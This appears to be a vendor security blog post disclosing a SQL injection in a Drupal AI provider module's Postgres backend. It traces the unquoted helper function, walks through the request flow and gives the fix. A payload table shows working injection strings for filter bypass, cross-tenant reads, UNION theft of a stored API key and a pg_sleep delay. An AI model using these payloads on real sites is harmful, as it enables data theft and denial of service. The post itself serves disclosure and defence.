
On 10 September 2026 the Drupal Security Team published CVE-2026-87936, a Critical unauthenticated SQL injection in the amazee.ai Private AI Provider module for Drupal. It is the kind of bug that hides in plain sight: one helper function that forgot to put quotes around a value. This is the whole story, from the line of code to a stolen API key, and the one-line change that closes it.
Advisory at a glance
- Reference
- CVE-2026-87936
- Module
- amazee.ai Private AI Provider (
ai_provider_amazeeio) - Class
- Unauthenticated SQL injection
- Risk
- Critical · 16/25 · CVSS 3.1 9.1
- Affected
- < 1.3.7, and 1.4.0 up to 1.4.3
- Fixed in
- 1.3.7 and 1.4.3
The bug: one helper that never quotes
The module ships a Postgres backend so that Search API AI Search can store and filter vector data in a pgvector table. When a query has filters, the backend turns each one into a piece of SQL. Two helper functions build the value list. One of them is safe. The other is the bug.
// PostgresPgvectorClient.php:579
public function prepareArrayForSql(array $items): string {
// docblock promises quoted output: ('first item', 'second item')
return '(' . implode(separator: ',', array: $items) . ')'; // no quote(), no cast
}That function is used for every non-string field type: numeric, boolean, date. It glues the values together and hands them back with no quote() and no cast. Its docblock even claims the output is quoted. It is not. Sitting right next to it is the sibling that does the job properly:
// PostgresPgvectorClient.php:597 (the safe sibling)
public function prepareStringArrayForSql(array $items, $connection): string {
$quoted = array_map(fn($v) => $connection->quote($v), $items); // every value quoted
return '(' . implode(',', $quoted) . ')';
}prepareStringArrayForSql runs every value through $connection->quote(). prepareArrayForSql quotes nothing. Same file, thirty lines apart, opposite behaviour.
Why it happened
The developer branched the escaping decision on the field’s declared type instead of on where the value came from. A string field means “user text, escape it.” A numeric field means “it’s a number, it’s safe.” The logic feels right and it is wrong.
The mistake in one line
“The field is numeric” is not the same claim as “the value is numeric.” The value is a string from an HTTP request. Nothing on the path forces it to be a number, so the moment a non-number arrives, it is executed as SQL.
This is why the bug is invisible in testing. Every normal filter sends a real number, and every normal number sails through untouched. The assumption lived in the developer’s head, never in the code, and the tests only ever confirmed the head.
The full flow, from a URL to the database
The reason this rates as unauthenticated is that nothing in between adds the check the sink assumes. Trace one request:
- 1
An anonymous visitor sends GET /search?field_price=<payload> to a public View with an exposed numeric filter.
the browser
- 2
Views reads the exposed value straight from the query string. No validation runs here.
Views core
- 3
SearchApiNumeric extends the core NumericFilter, which only checks is_numeric for the “between” operator. For =, <, > it does not.
search_api
- 4
The value becomes a Search API condition via opSimple() → addWhere(). Still a plain string.
search_api
- 5
The View executes and hands the condition to the AI Search backend’s querySearch(). With no keywords, no embedding is needed.
ai_search
- 6
processConditionGroup() sees a non-string field and takes the raw branch: prepareArrayForSql($values).
PostgresProvider.php:544
- 7
The value is concatenated, unquoted, into a SQL fragment and run with $connection->query().
PostgresPgvectorClient.php:579
In one sentence: an anonymous URL parameter reaches an exposed Views filter, becomes a Search API condition, is concatenated unquoted, and runs as SQL. The operator is safe (a strict allow-list) and the column names are quoted. Only the value is raw, and the value is the one part the attacker controls.
// PostgresProvider.php:585 (the value is dropped in raw)
$filter = '(' . $escaped_field . ' ' . $operator . ' ' . $normalizedValues . ')';
// ...
// PostgresPgvectorClient.php:440,443
$query = "SELECT ... {$filters} ...";
$connection->query($query); // executedWorking the payloads
The value lands inside two layers of parentheses, so a naive 1 OR 1=1-- breaks itself, the -- comments out its own closing brackets. The working payloads balance the parentheses first, then open up:
| Request | What it does | What comes back |
|---|---|---|
?field_price=150 | the intended query | 1 row, the correct result |
?field_price=1) OR (1=1 | ignores the price filter | every row for your own tenant |
?field_price=1)) OR (1=1) -- | comments out the index_id tenant guard | every tenant’s rows |
?field_price=0)) UNION SELECT api_key, name FROM key_config -- | UNION exfiltration | a stored API key |
?field_price=1)) OR 1=(SELECT 1 FROM pg_sleep(3)) -- | blind time delay | a 3s database hang (DoS) |
The step that matters most is the third one. The backend scopes every query to the caller’s own index_id, its tenant guard. Comment that clause out and the read crosses tenants. The fourth line then walks straight out of the vector table into key_config and returns a stored provider API key.
What it gets you, and what it doesn’t
Every result below was executed against a real Postgres 16 with pgvector 0.8.6, driving the module’s own shipped client class rather than a reimplementation:
- Read anything. Filter bypass, cross-tenant reads, and UNION-based exfiltration of other tables, including a live API key.
- Hang the database. A
pg_sleepinside the single SELECT ran to completion, a clean unauthenticated denial-of-service primitive. - Not write or drop. Stacked statements like
; UPDATEor; DROPare refused by the PDO Postgres driver (“cannot insert multiple commands”), and production uses the same driver settings. Integrity stays intact, which is exactly why the score is 9.1 and not 9.8.
An earlier draft of the research guessed at stacked writes and a 9.8. Executing the payloads corrected it: the driver blocks the write, so the honest number is 9.1. The correction only surfaced because the payloads were actually run, not reasoned about.
The fix
One line. Send the non-string branch through the same quoting helper the string branch already uses:
// PostgresProvider.php ~544 (route the non-string branch through the quoting helper)
$normalizedValues = $this->getClient()->prepareStringArrayForSql($values, $connection);
// Postgres implicitly casts '150' in a numeric comparison, so quoting numbers is free.The rule underneath it is the real fix: quote unconditionally, and never branch escaping on the field’s declared type. The maintainers, Dan Lemon and Dimitris Spachos, shipped this in 1.3.7 and 1.4.3. If you run the amazee.ai AI Provider with the Postgres/pgvector backend, update now, and audit any View that exposes a numeric, date, or boolean filter in the meantime.
Disclosure
This was reported privately to the maintainers through the Drupal Security Team and held until the fixed releases were out. It is tracked as CVE-2026-87936. The finding is a small reminder worth keeping: sanitisation belongs to the source of a value, never to the name of the column it lands in.
Resilience is more than patching fast.
Getting in is rarely the hard part. Being ready for what follows is. That is the work Jestr is built for.
Meet the team